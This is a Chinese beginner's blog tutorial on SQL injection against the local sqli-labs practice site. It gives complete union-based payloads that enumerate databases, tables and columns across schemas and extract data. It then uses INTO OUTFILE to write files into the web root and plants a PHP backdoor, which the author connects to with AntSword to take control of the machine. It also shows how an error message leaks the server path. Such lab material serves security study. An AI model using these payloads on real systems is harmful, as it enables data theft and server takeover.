网络安全菜鸟学习之漏洞篇——sql(三)

今天我们首先来学习一下跨库注入。
那么什么是跨库注入呢?我们先来看一张图。网络安全菜鸟学习之漏洞篇——sql(三)_第1张图片
如图,当我们可以对网站A所对应的数据库A进行注入,且拥有数据库B、C的权限时,我们可以通过修改注入语句数据库B、C对进行注入。
好,现在我们来操作一下。(前面的步骤是一样的我就不再演示了,就从联合查询数据库开始演示)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata--+(用个group_concat()函数把所有拥有的数据库名得到)
网络安全菜鸟学习之漏洞篇——sql(三)_第2张图片
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='teaching'--+(获取指定数据库名teaching下的表名信息)
网络安全菜鸟学习之漏洞篇——sql(三)_第3张图片

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='class' and table_schema='teaching'--+(获取指定表名class的列名信息)
网络安全菜鸟学习之漏洞篇——sql(三)_第4张图片
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,classno,3 from teaching.class--+(获取指定数据)网络安全菜鸟学习之漏洞篇——sql(三)_第5张图片
好的,我们学完了跨站注入,现在开始学习mysql文件操作注入。
在开始演示之前,我们需要开启secure-file-priv这个参数(该参数是用来限制MySQL当前能否进行导入导出操作的)。(一般情况下phpstudy把该参数默认为空的)
首先打开MYSQL命令行网络安全菜鸟学习之漏洞篇——sql(三)_第6张图片
然后输入:show variables like ‘%secure%’
如果返回是NULL,那么需要手动开启。
网络安全菜鸟学习之漏洞篇——sql(三)_第7张图片
手动开启方法:1.打开mysql-ini网络安全菜鸟学习之漏洞篇——sql(三)_第8张图片
2.在[mysqld]中加:secure_file_priv="/"保存即可。(也可以参考这篇文章:https://www.cnblogs.com/Zh1z3ven/p/12512539.html)网络安全菜鸟学习之漏洞篇——sql(三)_第9张图片
在开始前再提醒一点,不是所有磁盘地址我们都可以写入,这个和权限有关。
好了,现在我们开始操作
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select null,'123',null into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.txt' --+(在D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-1目录下添加一个名叫1.txt的文件,并将123写入其中。)
如图,注意看操作前后的变化。
操作前:网络安全菜鸟学习之漏洞篇——sql(三)_第10张图片
操作:网络安全菜鸟学习之漏洞篇——sql(三)_第11张图片

操作后:网络安全菜鸟学习之漏洞篇——sql(三)_第12张图片
显然,这里多了一个文件。我们打开它会发现有两个\N,这是由于我们之前的地址中有两个null。如果我们写的是:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select '456','123','789' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.txt' --+则结果为456 123 789网络安全菜鸟学习之漏洞篇——sql(三)_第13张图片
注:1.id=1会比id=-1前面多一行,多的一行是id=1的数据。也就是说union select 前后的数据流都发生了改变,主要是为什么页面上没有数据的原因。(id=1的结果如下图)网络安全菜鸟学习之漏洞篇——sql(三)_第14张图片
2.\\是用前面的\转义后面的\如果不转义会报错。(如下图)网络安全菜鸟学习之漏洞篇——sql(三)_第15张图片
好了,讲了这个我们来拓展一下。我们用这种方式来写入一个后门。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select null,' ',null into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-1\\1.php' --+
然后文件夹中就会有一个1.php的文件。
我们用蚁剑连接,发现连接成功我们有了整个电脑的权限。(蚁剑的使用和后门为什么这样写后面会讲。)
网络安全菜鸟学习之漏洞篇——sql(三)_第16张图片
网络安全菜鸟学习之漏洞篇——sql(三)_第17张图片
注:有人可能会问我是如何,知道磁盘地址的。这个是靠你自己前期的信息收集。我是靠以下的网址爆了库才发现的。输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select '456','123','789' into outfile '**\\1.txt' --+它说我们没有权限创建’D:\phpStudy\PHPTutorial\MySQL\data**\1.txt’通过这句话我们知道了在D盘用phpstudy搭建的,再一分析就知道了磁盘地址。当然一般实战中这种情况很少见,还是要通过前期大量的信息收集。网络安全菜鸟学习之漏洞篇——sql(三)_第18张图片
(ps:求各位看官给点评论和关注)

你可能感兴趣的:(网络安全,安全,网络)